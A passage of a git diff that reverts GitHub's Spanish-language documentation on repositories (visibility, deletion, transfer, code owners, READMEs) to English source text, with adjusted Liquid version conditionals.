usuario y de organizaciones, puedes trabajar con colaboradores ilimitados en repositorios públicos ilimitados con un juego completo de características, o en repositorios privados ilimitados con un conjunto limitado de características. Para obtener herramientas avanzadas para repositorios privados, puedes mejorar tu plan a {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, o {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %} +With {% data variables.product.prodname_free_team %} for user accounts and organizations, you can work with unlimited collaborators on unlimited public repositories with a full feature set, or unlimited private repositories with a limited feature set. To get advanced tooling for private repositories, you can upgrade to {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, or {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %} {% else %} -Cada persona y organización puede tener repositorios ilimitados e invitar a un número ilimitado de colaboradores a todos ellos. +Each person and organization can own unlimited repositories and invite an unlimited number of collaborators to all repositories. {% endif %} -Puedes utilizar repositorios para administrar tu trabajo y colaborar con otros. -- Puedes utilizar propuestas para recolectar la retroalimentación de los usuarios, reportar errores de software y organizar las tareas que te gustaría realizar. Para obtener más información, consulta la sección "[Acerca de las propuestas](/github/managing-your-work-on-github/about-issues)".{% ifversion fpt or ghec %} +You can use repositories to manage your work and collaborate with others. +- You can use issues to collect user feedback, report software bugs, and organize tasks you'd like to accomplish. For more information, see "[About issues](/github/managing-your-work-on-github/about-issues)."{% ifversion fpt or ghec %} - {% data reusables.discussions.you-can-use-discussions %}{% endif %} -- Puedes utilizar las solicitudes de cambios para proponer cambios a un repositorio. Para obtener más información, consulta "[Acerca de las solicitudes de extracción](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)." -- Puedes utilizar tableros de proyecto para organizar y priorizar tus propuestas y solicitudes de cambios. Para obtener más información, consulta "[Acerca de los tableros de proyectos](/github/managing-your-work-on-github/about-project-boards)." +- You can use pull requests to propose changes to a repository. For more information, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)." +- You can use project boards to organize and prioritize your issues and pull requests. For more information, see "[About project boards](/github/managing-your-work-on-github/about-project-boards)." {% data reusables.repositories.repo-size-limit %} -## Acerca de la visibilidad de un repositorio +## About repository visibility -Puedes restringir quién tiene acceso a un repositorio si eliges la visibilidad del mismo: {% ifversion fpt or ghes or ghec %} pública, interna, o privada{% elsif ghae %}privada o interna{% else %} pública o privada{% endif %}. +You can restrict who has access to a repository by choosing a repository's visibility: {% ifversion ghes or ghec %}public, internal, or private{% elsif ghae %}private or internal{% else %} public or private{% endif %}. -{% ifversion ghae %}Cuando creas un repositorio que pertenece a tu cuenta de usuario, éste siempre será privado. Cuando creas un repositorio que pertenece a una organización, puedes elegir hacerlo privado o interno.{% else %}Cuando creas un repositorio, puedes elegir hacerlo público o privado.{% ifversion fpt or ghes or ghec %} Si estás creando el repositorio en una organización{% ifversion fpt or ghec %} que pertenece a una cuenta empresarial{% endif %}, también puedes elegir hacer el repositorio interno.{% endif %}{% endif %} +{% ifversion fpt or ghec or ghes %} + +When you create a repository, you can choose to make the repository public or private.{% ifversion ghec or ghes %} If you're creating the repository in an organization{% ifversion ghec %} that is owned by an enterprise account{% endif %}, you can also choose to make the repository internal.{% endif %}{% endif %}{% ifversion fpt %} Repositories in organizations that use {% data variables.product.prodname_ghe_cloud %} can also be created with internal visibility. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)" in the {% data variables.product.prodname_ghe_cloud %} documentation. -{% ifversion ghes %} -Si {% data variables.product.product_location %} no está en modo privado o detrás de un cortafuegos, cualquiera en la internet podrá acceder a los repositorios públicos. De lo contrario, los repositorios públicos estarán disponibles para cualquiera que utilice {% data variables.product.product_location %}, incluyendo a los colaboradores externos. Solo tú, las personas con las que compartes el acceso explícitamente y, para los repositorios de organizaciones, algunos miembros de la organización, pueden acceder a los repositorios privados. {% ifversion ghes %} Los miembros de la empresa pueden acceder a los repositorios internos. Para obtener más información, consulta la sección "[Acerca de los repositorios internos](#about-internal-repositories)."{% endif %} {% elsif ghae %} -Solo tú, las personas con las que compartes el acceso explícitamente y, para los repositorios de organizaciones, algunos miembros de la organización, pueden acceder a los repositorios privados. Todos los miembros de la empresa pueden acceder a los repositorios internos. Para obtener más información, consulta la sección "[Acerca de los repositorios internos](#about-internal-repositories)". -{% else %} -Cualquiera en la internet puede acceder a los repositorios públicos. Solo tú, las personas con las que compartes el acceso explícitamente y, para los repositorios de organizaciones, algunos miembros de la organización, pueden acceder a los repositorios privados. Los miembros de las empresas pueden acceder a los repositorios internos. Para obtener más información, consulta la sección "[Acerca de los repositorios internos](#about-internal-repositories)". + +When you create a repository owned by your user account, the repository is always private. When you create a repository owned by an organization, you can choose to make the repository private or internal. + {% endif %} -Los propietarios de la organización siempre tiene acceso a todos los repositorios creados en la misma. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." +{%- ifversion fpt or ghec %} +- Public repositories are accessible to everyone on the internet. +- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members. +{%- elsif ghes %} +- If {% data variables.product.product_location %} is not in private mode or behind a firewall, public repositories are accessible to everyone on the internet. Otherwise, public repositories are available to everyone using {% data variables.product.product_location %}, including outside collaborators. +- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members. Internal repositories are accessible to all enterprise members. +{%- elsif ghae %} +- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members. +{%- endif %} +{%- ifversion ghec or ghes or ghae %} +- Internal repositories are accessible to all enterprise members. For more information, see "[About internal repositories](#about-internal-repositories)." +{%- endif %} -Las personas con permisos de administrador para un repositorio pueden cambiar la visibilidad de los repositorios existentes. Para obtener más información, consulta la sección "[Configurar la visibilidad de los repositorios](/github/administering-a-repository/setting-repository-visibility)". +Organization owners always have access to every repository created in an organization. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." -{% ifversion fpt or ghae or ghes or ghec %} -## Acerca de los repositorios internos +People with admin permissions for a repository can change an existing repository's visibility. For more information, see "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)." -{% note %} +{% ifversion ghes or ghec or ghae %} +## About internal repositories -**Nota:** {% data reusables.gated-features.internal-repos %} - -{% endnote %} - -{% data reusables.repositories.about-internal-repos %}Para obtener más información sobre innersource, consulta la documentación técnica de {% data variables.product.prodname_dotcom %} "Introducción a innersource". +{% data reusables.repositories.about-internal-repos %} For more information on innersource, see {% data variables.product.prodname_dotcom %}'s whitepaper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)." All enterprise members have read permissions to the internal repository, but internal repositories are not visible to people {% ifversion fpt or ghec %}outside of the enterprise{% else %}who are not members of any organization{% endif %}, including outside collaborators on organization repositories. For more information, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/roles-in-an-enterprise#enterprise-members)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." @@ -83,43 +90,43 @@ All enterprise members have read permissions to the internal repository, but int {% data reusables.repositories.internal-repo-default %} -Cualquier miembro de la empresa puede bifurcar cualquier repositorio interno que pertenezca a una organización de esta. El repositorio bifurcado pertenecerá a la cuenta de usuario del miembro y la visibilidad de este será privada. Si se elimina a un usuario de todas las organizaciones que pertenezcan a la empresa, las bifurcaciones de dicho usuario para los repositorios internos se eliminarán automáticamente. +Any member of the enterprise can fork any internal repository owned by an organization in the enterprise. The forked repository will belong to the member's user account, and the visibility of the fork will be private. If a user is removed from all organizations owned by the enterprise, that user's forks of internal repositories are removed automatically. {% endif %} -## Límites para ver contenido y diferencias en un repositorio +## Limits for viewing content and diffs in a repository -Determinados tipos de recursos pueden ser bastante grandes y requerir mucho procesamiento en {% data variables.product.product_name %}. Por este motivo, se establecen límites para asegurar que las solicitudes se realicen en una cantidad de tiempo razonable. +Certain types of resources can be quite large, requiring excessive processing on {% data variables.product.product_name %}. Because of this, limits are set to ensure requests complete in a reasonable amount of time. -La mayoría de los límites que aparecen a continuación afectan tanto {% data variables.product.product_name %} como la API. +Most of the limits below affect both {% data variables.product.product_name %} and the API. -### Límites de texto +### Text limits -Los archivos de texto de más de **512 KB** siempre se mostrarán como texto simple. El código no es de sintaxis resaltada, y los archivos de prosa no se convierten a HTML (como Markdown, AsciiDoc, *etc.*). +Text files over **512 KB** are always displayed as plain text. Code is not syntax highlighted, and prose files are not converted to HTML (such as Markdown, AsciiDoc, *etc.*). -Los archivos de texto de más de **5 MB** están disponibles solo a través de sus URL originales, que se ofrecen a través de `{% data variables.product.raw_github_com %}`; por ejemplo, `https://{% data variables.product.raw_github_com %}/octocat/Spoon-Knife/master/index.html`. Haz clic en el botón **Raw** (Original) para obtener la URL original de un archivo. +Text files over **5 MB** are only available through their raw URLs, which are served through `{% data variables.product.raw_github_com %}`; for example, `https://{% data variables.product.raw_github_com %}/octocat/Spoon-Knife/master/index.html`. Click the **Raw** button to get the raw URL for a file. -### Límites de diferencias +### Diff limits -Como las diferencias se pueden volver muy grandes, imponemos los siguientes límites en las diferencias para las confirmaciones, las solicitudes de extracción y las vistas comparadas: +Because diffs can become very large, we impose these limits on diffs for commits, pull requests, and compare views: -- En una solicitud de cambios, ningún diff total podrá exceder las *20,000 líneas que puedes cargar* o *1 MB* de datos de diff sin procesar. -- El diff de un archivo único no puede superar las *20.000 líneas que puedes cargar* o *500 KB* de datos de la diferencia original. *Cuatrocientas líneas* y *20 KB* se cargan de forma automática para un archivo único. -- La cantidad máxima de archivos en diff único se limita a *300*. -- La cantidad máxima de archivos de representación (como PDF y archivos GeoJSON) en una diferencia única está limitada a *25*. +- In a pull request, no total diff may exceed *20,000 lines that you can load* or *1 MB* of raw diff data. +- No single file's diff may exceed *20,000 lines that you can load* or *500 KB* of raw diff data. *Four hundred lines* and *20 KB* are automatically loaded for a single file. +- The maximum number of files in a single diff is limited to *300*. +- The maximum number of renderable files (such as images, PDFs, and GeoJSON files) in a single diff is limited to *25*. -Se pueden mostrar algunas partes de una diferencia limitada, pero no se muestra nada que supere el límite. +Some portions of a limited diff may be displayed, but anything exceeding the limit is not shown. -### Límites de listas de confirmaciones +### Commit listings limits -Las páginas de vista comparada y de solicitudes de extracción muestran una lista de confirmaciones entre las revisiones de `base` y de `encabezado`. Estas listas están limitadas a **250** confirmaciones. Si superan ese límite, una nota indica que existen más confirmaciones (pero no se muestran). +The compare view and pull requests pages display a list of commits between the `base` and `head` revisions. These lists are limited to **250** commits. If they exceed that limit, a note indicates that additional commits are present (but they're not shown). -## Leer más +## Further reading -- "[Crear un repositorio nuevo](/articles/creating-a-new-repository)" -- "[Acerca de las bifurcaciones](/github/collaborating-with-pull-requests/working-with-forks/about-forks)" -- "[Colaborar con propuestas y solicitudes de extracción](/categories/collaborating-with-issues-and-pull-requests)" -- "[Administrar tu trabajo en {% data variables.product.prodname_dotcom %}](/categories/managing-your-work-on-github/)" -- "[Administrar un repositorio](/categories/administering-a-repository)" -- "[Visualizar datos del repositorio con gráficos](/categories/visualizing-repository-data-with-graphs/)" -- "[Acerca de los wikis](/communities/documenting-your-project-with-wikis/about-wikis)" -- "[Glosario de {% data variables.product.prodname_dotcom %}](/articles/github-glossary)" +- "[Creating a new repository](/articles/creating-a-new-repository)" +- "[About forks](/github/collaborating-with-pull-requests/working-with-forks/about-forks)" +- "[Collaborating with issues and pull requests](/categories/collaborating-with-issues-and-pull-requests)" +- "[Managing your work on {% data variables.product.prodname_dotcom %}](/categories/managing-your-work-on-github/)" +- "[Administering a repository](/categories/administering-a-repository)" +- "[Visualizing repository data with graphs](/categories/visualizing-repository-data-with-graphs/)" +- "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)" +- "[{% data variables.product.prodname_dotcom %} glossary](/articles/github-glossary)" diff --git a/translations/es-ES/content/repositories/creating-and-managing-repositories/deleting-a-repository.md b/translations/es-ES/content/repositories/creating-and-managing-repositories/deleting-a-repository.md index f444b6b621..5fb2fd7aea 100644 --- a/translations/es-ES/content/repositories/creating-and-managing-repositories/deleting-a-repository.md +++ b/translations/es-ES/content/repositories/creating-and-managing-repositories/deleting-a-repository.md @@ -1,6 +1,6 @@ --- -title: Eliminar un repositorio -intro: Puedes eliminar cualquier repositorio o bifurcación si eres un propietario de la organización o si tienes permisos de administración para el repositorio o la bifurcación. Eliminar un repositorio bifurcado no elimina el repositorio ascendente. +title: Deleting a repository +intro: You can delete any repository or fork if you're either an organization owner or have admin permissions for the repository or fork. Deleting a forked repository does not delete the upstream repository. redirect_from: - /delete-a-repo/ - /deleting-a-repo/ @@ -15,25 +15,26 @@ versions: topics: - Repositories --- +{% data reusables.organizations.owners-and-admins-can %} delete an organization repository. If **Allow members to delete or transfer repositories for this organization** has been disabled, only organization owners can delete organization repositories. {% data reusables.organizations.new-repo-permissions-more-info %} -{% data reusables.organizations.owners-and-admins-can %} elimina un repositorio de la organización. Si se ha deshabilitado **Permitir que los miembros eliminen o transfieran repositorios para esta organización**, solo los propietarios de la organización pueden eliminar los repositorios de la organización. {% data reusables.organizations.new-repo-permissions-more-info %} - -{% ifversion not ghae %}El borrar un repositorio público no borrará ninguna bifurcación del mismo.{% endif %} +{% ifversion not ghae %}Deleting a public repository will not delete any forks of the repository.{% endif %} {% warning %} -**Advertencias**: +**Warnings**: -- El borrar un repositorio borrará los adjuntos del lanzamiento y los permisos de equpo **permanentemente**. Esta acción **no** se puede deshacer. -- Deleting a private or internal repository will delete all forks of the repository. +- Deleting a repository will **permanently** delete release attachments and team permissions. This action **cannot** be undone. +- Deleting a private{% ifversion ghes or ghec or ghae %} or internal{% endif %} repository will delete all forks of the repository. {% endwarning %} -Some deleted repositories can be restored within 90 days of deletion. {% ifversion ghes or ghae %}Your site administrator may be able to restore a deleted repository for you. Para obtener más información, consulta "[Restaurar un repositorio eliminado](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)". {% else %}For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %} +Some deleted repositories can be restored within 90 days of deletion. {% ifversion ghes or ghae %}Your site administrator may be able to restore a deleted repository for you. For more information, see "[Restoring a deleted repository](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)." {% else %}For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} -2. En la Zona de peligro, haz clic en **Eliminar este repositorio**. ![Botón Eliminar repositorio](/assets/images/help/repository/repo-delete.png) -3. **Lee las advertencias**. -4. Para verificar que está eliminando el repositorio correcto, escribe el nombre del repositorio que deseas eliminar. ![Etiqueta de eliminación](/assets/images/help/repository/repo-delete-confirmation.png) -5. Haga clic en **Comprendo las consecuencias. Eliminar este repositorio**. +2. Under Danger Zone, click **Delete this repository**. + ![Repository deletion button](/assets/images/help/repository/repo-delete.png) +3. **Read the warnings**. +4. To verify that you're deleting the correct repository, type the name of the repository you want to delete. + ![Deletion labeling](/assets/images/help/repository/repo-delete-confirmation.png) +5. Click **I understand the consequences, delete this repository**. diff --git a/translations/es-ES/content/repositories/creating-and-managing-repositories/transferring-a-repository.md b/translations/es-ES/content/repositories/creating-and-managing-repositories/transferring-a-repository.md index ef428a6ce3..651ec1b4dd 100644 --- a/translations/es-ES/content/repositories/creating-and-managing-repositories/transferring-a-repository.md +++ b/translations/es-ES/content/repositories/creating-and-managing-repositories/transferring-a-repository.md @@ -1,6 +1,6 @@ --- -title: Transferir un repositorio -intro: Puedes transferir repositorios a otros usuarios o cuentas de organización. +title: Transferring a repository +intro: You can transfer repositories to other users or organization accounts. redirect_from: - /articles/about-repository-transfers/ - /move-a-repo/ @@ -22,60 +22,60 @@ versions: topics: - Repositories --- +## About repository transfers -## Acerca de las transferencias de repositorios +When you transfer a repository to a new owner, they can immediately administer the repository's contents, issues, pull requests, releases, project boards, and settings. -Cuando transfieres un repositorio a un propietario nuevo, puede administrar de inmediato los contenidos, propuestas, solicitudes de extracción, lanzamientos, tableros de proyecto y parámetros del repositorio. +Prerequisites for repository transfers: +- When you transfer a repository that you own to another user account, the new owner will receive a confirmation email.{% ifversion fpt or ghec %} The confirmation email includes instructions for accepting the transfer. If the new owner doesn't accept the transfer within one day, the invitation will expire.{% endif %} +- To transfer a repository that you own to an organization, you must have permission to create a repository in the target organization. +- The target account must not have a repository with the same name, or a fork in the same network. +- The original owner of the repository is added as a collaborator on the transferred repository. Other collaborators to the transferred repository remain intact.{% ifversion ghec or ghes or ghae %} +- Internal repositories can't be transferred.{% endif %} +- Private forks can't be transferred. -Prerequisites for repository transfers: -- When you transfer a repository that you own to another user account, the new owner will receive a confirmation email.{% ifversion fpt or ghec %} The confirmation email includes instructions for accepting the transfer. Si el propietario nuevo no acepta la transferencia en el transcurso de un día, la invitación se vencerá.{% endif %} -- Para transferirle un repositorio que te pertenece a una organización, debes tener permiso para crear un repositorio en la organización de destino. -- La cuenta objetivo no debe tener un repositorio con el mismo nombre o una bifurcación en la misma red. -- El propietario original del repositorio se agrega como colaborador en el repositorio transferido. Los demás colaboradores del repositorio transferido permanecen intactos. -- Las bifurcaciones privadas no se pueden transferir. +{% ifversion fpt or ghec %}If you transfer a private repository to a {% data variables.product.prodname_free_user %} user or organization account, the repository will lose access to features like protected branches and {% data variables.product.prodname_pages %}. {% data reusables.gated-features.more-info %}{% endif %} -{% ifversion fpt or ghec %}Si transfieres un repositorio privado a una cuenta de usuario u organización de {% data variables.product.prodname_free_user %}, éste perderá acceso a características como ramas protegidas y {% data variables.product.prodname_pages %}. {% data reusables.gated-features.more-info %}{% endif %} +### What's transferred with a repository? -### ¿Qué se transfiere con un repositorio? +When you transfer a repository, its issues, pull requests, wiki, stars, and watchers are also transferred. If the transferred repository contains webhooks, services, secrets, or deploy keys, they will remain associated after the transfer is complete. Git information about commits, including contributions, is preserved. In addition: -Cuando transfieres un repositorio, también se transfieren sus propuestas, solicitudes de extracción, wiki, estrellas y observadores. Si el repositorio transferido contiene webhooks, servicios, secretos, o llaves de implementación, estos permanecerán asociados después de que se complete la transferencia. Se preserva la información de Git acerca de las confirmaciones, incluidas las contribuciones. Asimismo: - -- Si el repositorio transferido es una bifurcación, sigue asociado con el repositorio ascendente. -- Si el repositorio transferido tiene alguna bifurcación, esas bifurcaciones seguirán asociadas al repositorio después de que se complete la transferencia. -- Si el repositorio transferido utiliza {% data variables.large_files.product_name_long %}, todos {% data variables.large_files.product_name_short %} los objetos se mueven automáticamente. This transfer occurs in the background, so if you have a large number of {% data variables.large_files.product_name_short %} objects or if the {% data variables.large_files.product_name_short %} objects themselves are large, it may take some time for the transfer to occur.{% ifversion fpt or ghec %} Before you transfer a repository that uses {% data variables.large_files.product_name_short %}, make sure the receiving account has enough data packs to store the {% data variables.large_files.product_name_short %} objects you'll be moving over. Para obtener más información acerca de agregar almacenamiento para las cuentas de usuario, consulta "[Subir de categoría {% data variables.large_files.product_name_long %}](/articles/upgrading-git-large-file-storage)".{% endif %} -- Cuando se transfiere un repositorio entre dos cuentas de usuario, las asignaciones de propuestas se dejan intactas. Cuando transfieres un repositorio desde una cuenta de usuario a una organización, las propuestas asignadas a los miembros de la organización permanecen intactas, y todos los demás asignatarios de propuestas se eliminan. Solo los propietarios de la organización están autorizados a crear asignaciones de propuestas nuevas. Cuando transfieres un repositorio desde una organización a una cuenta de usuario, solo se mantienen las propuestas asignadas al propietario del repositorio, y se eliminan todos los demás asignatarios de propuestas. -- Si el repositorio transferido contiene un {% data variables.product.prodname_pages %} sitio, se redirigen los enlaces al repositorio de Git en la web y a través de la actividad de Git. Sin embargo, no redirigimos {% data variables.product.prodname_pages %} asociadas al repositorio. -- Todos los enlaces a la ubicación anterior del repositorio se redirigen de manera automática hacia la ubicación nueva. Cuando utilices `git clone`, `git fetch` o `git push` en un repositorio transferido, estos comando redirigirán a la ubicación del repositorio o URL nueva. Sin embargo, para evitar confusiones, es altamente recomendable actualizar cualquier clon local existente para que apunte a la nueva URL del repositorio. Puedes hacerlo utilizando `git remote` en la línea de comando: +- If the transferred repository is a fork, then it remains associated with the upstream repository. +- If the transferred repository has any forks, then those forks will remain associated with the repository after the transfer is complete. +- If the transferred repository uses {% data variables.large_files.product_name_long %}, all {% data variables.large_files.product_name_short %} objects are automatically moved. This transfer occurs in the background, so if you have a large number of {% data variables.large_files.product_name_short %} objects or if the {% data variables.large_files.product_name_short %} objects themselves are large, it may take some time for the transfer to occur.{% ifversion fpt or ghec %} Before you transfer a repository that uses {% data variables.large_files.product_name_short %}, make sure the receiving account has enough data packs to store the {% data variables.large_files.product_name_short %} objects you'll be moving over. For more information on adding storage for user accounts, see "[Upgrading {% data variables.large_files.product_name_long %}](/articles/upgrading-git-large-file-storage)."{% endif %} +- When a repository is transferred between two user accounts, issue assignments are left intact. When you transfer a repository from a user account to an organization, issues assigned to members in the organization remain intact, and all other issue assignees are cleared. Only owners in the organization are allowed to create new issue assignments. When you transfer a repository from an organization to a user account, only issues assigned to the repository's owner are kept, and all other issue assignees are removed. +- If the transferred repository contains a {% data variables.product.prodname_pages %} site, then links to the Git repository on the Web and through Git activity are redirected. However, we don't redirect {% data variables.product.prodname_pages %} associated with the repository. +- All links to the previous repository location are automatically redirected to the new location. When you use `git clone`, `git fetch`, or `git push` on a transferred repository, these commands will redirect to the new repository location or URL. However, to avoid confusion, we strongly recommend updating any existing local clones to point to the new repository URL. You can do this by using `git remote` on the command line: ```shell $ git remote set-url origin new_url ``` -- Cuando transfieres un repositorio desde una organización a una cuenta de usuario, los colaboradores de solo lectura de este no se transferirán. Esto es porque los colaboradores no pueden tener acceso de solo lectura a los repositorios que pertenecen a una cuenta de usuario. For more information about repository permission levels, see "[Permission levels for a user account repository](/github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." +- When you transfer a repository from an organization to a user account, the repository's read-only collaborators will not be transferred. This is because collaborators can't have read-only access to repositories owned by a user account. For more information about repository permission levels, see "[Permission levels for a user account repository](/github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." -Para obtener más información, consulta "[Administrar repositorios remotos](/github/getting-started-with-github/managing-remote-repositories)." +For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)." -### Transferencias de repositorios y organizaciones +### Repository transfers and organizations -Para transferir repositorios a una organización, debes tener permisos de creación de repositorios en la organización receptora. Si los propietarios de la organización inhabilitaron la creación de repositorios para los miembros de la organización, solo los propietarios de la organización pueden transferir repositorios hacia fuera o dentro de la organización. +To transfer repositories to an organization, you must have repository creation permissions in the receiving organization. If organization owners have disabled repository creation by organization members, only organization owners can transfer repositories out of or into the organization. -Una vez que se transfiere un repositorio a una organización, los parámetros de permiso del repositorio de la organización predeterminados y los privilegios de membresía predeterminados se aplicarán al repositorio transferido. +Once a repository is transferred to an organization, the organization's default repository permission settings and default membership privileges will apply to the transferred repository. -## Transferir un repositorio que le pertenece a tu cuenta de usuario +## Transferring a repository owned by your user account -Puedes transferir tu repositorio a cualquier cuenta de usuario que acepte la transferencia de tu repositorio. Cuando se transfiere un repositorio entre dos cuentas de usuario, el propietario del repositorio original y los colaboradores se agregan automáticamente como colaboradores al repositorio nuevo. +You can transfer your repository to any user account that accepts your repository transfer. When a repository is transferred between two user accounts, the original repository owner and collaborators are automatically added as collaborators to the new repository. -{% ifversion fpt or ghec %}If you published a {% data variables.product.prodname_pages %} site in a private repository and added a custom domain, before transferring the repository, you may want to remove or update your DNS records to avoid the risk of a domain takeover. Para obtener más información, consulta "[Administrar un dominio personalizado para tu sitio de {% data variables.product.prodname_pages %}](/articles/managing-a-custom-domain-for-your-github-pages-site)".{% endif %} +{% ifversion fpt or ghec %}If you published a {% data variables.product.prodname_pages %} site in a private repository and added a custom domain, before transferring the repository, you may want to remove or update your DNS records to avoid the risk of a domain takeover. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."{% endif %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.transfer-repository-steps %} -## Transferir un repositorio que le pertenece a tu organización +## Transferring a repository owned by your organization -Si tienes permisos de propietario en una organización o permisos de administración para uno de sus repositorios, puedes transferir un repositorio que le pertenece a tu organización a tu cuenta de usuario o a otra organización. +If you have owner permissions in an organization or admin permissions to one of its repositories, you can transfer a repository owned by your organization to your user account or to another organization. -1. Inicia sesión en tu cuenta de usuario que tiene permisos de administración o de propietario en la organización a la que le pertenece el repositorio. +1. Sign into your user account that has admin or owner permissions in the organization that owns the repository. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.transfer-repository-steps %} diff --git a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md index be05049a7c..0371d81e62 100644 --- a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md +++ b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md @@ -37,7 +37,7 @@ Each CODEOWNERS file assigns the code owners for a single branch in the reposito For code owners to receive review requests, the CODEOWNERS file must be on the base branch of the pull request. For example, if you assign `@octocat` as the code owner for *.js* files on the `gh-pages` branch of your repository, `@octocat` will receive review requests when a pull request with changes to *.js* files is opened between the head branch and `gh-pages`. -{% ifversion fpt or ghae or ghes > 3.2 or ghec %} +{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-9273 %} ## CODEOWNERS file size CODEOWNERS files must be under 3 MB in size. A CODEOWNERS file over this limit will not be loaded, which means that code owner information is not shown and the appropriate code owners will not be requested to review changes in a pull request. diff --git a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md index aa7a60ef5a..970ef6ff72 100644 --- a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md +++ b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md @@ -1,6 +1,6 @@ --- -title: Acerca de los archivos README -intro: 'Puedes agregar un archivo README a tu repositorio para comentarle a otras personas por qué tu proyecto es útil, qué pueden hacer con tu proyecto y cómo lo pueden usar.' +title: About READMEs +intro: 'You can add a README file to your repository to tell other people why your project is useful, what they can do with your project, and how they can use it.' redirect_from: - /articles/section-links-on-readmes-and-blob-pages/ - /articles/relative-links-in-readmes/ @@ -15,23 +15,22 @@ versions: topics: - Repositories --- +## About READMEs -## Acerca de los archivos README +You can add a README file to a repository to communicate important information about your project. A README, along with a repository license{% ifversion fpt or ghes > 3.2 or ghae-issue-4651 or ghec %}, citation file{% endif %}{% ifversion fpt or ghec %}, contribution guidelines, and a code of conduct{% elsif ghes %} and contribution guidelines{% endif %}, communicates expectations for your project and helps you manage contributions. -Puedes agregar un archivo README a un repositorio para comunicar información importante sobre tu proyecto. El contar con un README, en conjunto con una licencia de repositorio{% ifversion fpt or ghes > 3.2 or ghae-issue-4651 or ghec %}, archivo de citas{% endif %}{% ifversion fpt or ghec %}, lineamientos de contribución y código de conducta{% elsif ghes %} y lineamientos de contribución{% endif %}, comunica las expectativas de tu proyecto y te ayuda a administrar las contribuciones. +For more information about providing guidelines for your project, see {% ifversion fpt or ghec %}"[Adding a code of conduct to your project](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project)" and {% endif %}"[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)." -Para obtener más información acerca de cómo proporcionar lineamientos para tu proyecto, consulta la sección {% ifversion fpt or ghec %}"[Agregar un código de conducta para tu proyecto](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project)" y {% endif %}"[Configurar tu proyecto para que tenga contribuciones sanas](/communities/setting-up-your-project-for-healthy-contributions)". +A README is often the first item a visitor will see when visiting your repository. README files typically include information on: +- What the project does +- Why the project is useful +- How users can get started with the project +- Where users can get help with your project +- Who maintains and contributes to the project -Un archivo README suele ser el primer elemento que verá un visitante cuando entre a tu repositorio. Los archivos README habitualmente incluyen información sobre: -- Qué hace el proyecto. -- Por qué el proyecto es útil. -- Cómo pueden comenzar los usuarios con el proyecto. -- Dónde pueden recibir ayuda los usuarios con tu proyecto -- Quién mantiene y contribuye con el proyecto. +If you put your README file in your repository's root, `docs`, or hidden `.github` directory, {% data variables.product.product_name %} will recognize and automatically surface your README to repository visitors. -Si colocas tu archivo README en la raíz de tu repositorio, `docs`, o en el directorio oculto `.github`, {% data variables.product.product_name %} lo reconocerá y automáticamente expondrá tu archivo README a los visitantes del repositorio. - -![Página principal del repositorio github/scientist y su archivo README](/assets/images/help/repository/repo-with-readme.png) +![Main page of the github/scientist repository and its README file](/assets/images/help/repository/repo-with-readme.png) {% ifversion fpt or ghes or ghec %} @@ -39,37 +38,31 @@ Si colocas tu archivo README en la raíz de tu repositorio, `docs`, o en el dire {% endif %} -![El archivo de README en tu nombre de usuario/repositorio de nombre de usuario](/assets/images/help/repository/username-repo-with-readme.png) +![README file on your username/username repository](/assets/images/help/repository/username-repo-with-readme.png) {% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} -## Índice auto-generado de los archivos README +## Auto-generated table of contents for README files -Para la versión interpretada de cualquier archivo de lenguaje de marcado en un repositorio, incluyendo los archivos README, 